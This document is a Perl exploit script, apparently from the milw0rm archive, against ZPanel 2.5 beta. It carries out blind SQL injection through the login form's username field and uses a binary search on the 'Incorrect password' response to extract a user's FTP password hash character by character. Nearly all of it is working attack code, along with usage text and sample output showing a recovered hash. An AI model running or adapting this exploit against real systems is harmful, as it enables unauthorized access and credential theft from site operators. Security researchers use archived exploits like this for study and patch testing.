ZPanel <= 2.5b10 Remote SQL Injection Exploit

                                                #!/usr/bin/perl

use LWP::UserAgent;

# ZPanel Ver. 2.5- Public BETA 2 (Release date: 1/15/2005)
# sql injection exploit with one char bruteforce
# work on all mysql versions 

# --------------------------------------------------------
# example:
# r57zpanel.pl http://192.168.0.1/zpanel/index.php admin
# [~] PATH : http://192.168.0.1/zpanel/index.php
# [~] USERNAME : admin
# [~] SEARCHING PASSWORD ... [ DONE ]
#
# USER_NAME: admin
#  FTP_PASS: 5f4dcc3b5aa765d61d8327deb882cf99
# --------------------------------------------------------
# bug found by foster
# exploit coded by 1dt.w0lf
# 02.04.05
# http://ghc.ru
# http://rst.void.ru

$path     = $ARGV[0];
$username = $ARGV[1];

$s_num = 1;
$|++;
$n = 0;

if (@ARGV < 2) { &usage; }
print "[~] PATH : $path\r\n";
print "[~] USERNAME : $username\r\n";
print "[~] SEARCHING PASSWORD ... [|] [0]";

while(1)
{
if(&found(47,58)==0) { &found(96,122); } 
$char = $i;
if ($char=="0") 
 { 
 if(length($allchar > 0)){
 print "\b\b\b\b\b"."\b"x(length($n))." DONE ]     "; 
 print qq{
 USER_NAME: $username
  FTP_PASS: $allchar
 };
 }
 else
 {
 print "\b\b\b\b\b"."\b"x(length($n))." FAILED ]     ";
 }
 exit();  
 }
else 
 {  
 $allchar .= chr($char); 
 }
$s_num++;
}

sub found($$)
 {
 my $fmin = $_[0];
 my $fmax = $_[1];
 if (($fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; }
 
 $r = int($fmax - ($fmax-$fmin)/2);
 $check = " BETWEEN $r AND $fmax";
 if ( &check($check) ) { &found($r,$fmax); }
 else { &found($fmin,$r); }
 }
 
sub crack($$)
 {
 my $cmin = $_[0];
 my $cmax = $_[1];
 $i = $cmin;
 while ($i<$cmax)
  {
  $crcheck = "=$i";
  if ( &check($crcheck) ) { return $i; }
  $i++;
  }
 $i = 0;
 return $i;
 }
 
sub check($)
 {
 $n++;
 status();
 $ccheck = $_[0];
 $username2 = $username."' AND ascii(substring(ftppass,".$s_num.",1))".$ccheck." /*";
 $mcb_reguest = LWP::UserAgent->new() or die;
 $res = $mcb_reguest->post($path,
 {
 "uname"  => "$username2",
 "passwd" => "RST&GHC",
 "submit" => "Login"
 }
 ); 
 @results = $res->content; 
 
 foreach $result(@results)
  {
  if ($result =~ /Incorrect password/) { return 1; }
  }
 return 0;
 }
 
sub status()
{
  $status = $n % 5;
  if($status==0){ print "\b\b\b\b\b"."\b"x(length($n-1))."/] [".$n."]";  }
  if($status==1){ print "\b\b\b\b\b"."\b"x(length($n-1))."-] [".$n."]";  }
  if($status==2){ print "\b\b\b\b\b"."\b"x(length($n-1))."\\] [".$n."]"; }
  if($status==3){ print "\b\b\b\b\b"."\b"x(length($n-1))."|] [".$n."]";  }
}

sub usage()
 {
 print q(
 r57zpanel.pl - ZPanel ver 2.5-public beta 2 sql inj exploit
 -----------------------------------------------------------
 usage: r57zpanel.pl [path] [username]
 [path] - path to zpanel index
 [username] - username for bruteforce 
 e.g.
 r57zpanel.pl http://192.168.0.1/zpanel/index.php admin
 -----------------------------------------------------------
 RST/GHC , http://rst.void.ru , http://ghc.ru
 );
 exit();
 }


# milw0rm.com [2005-05-17]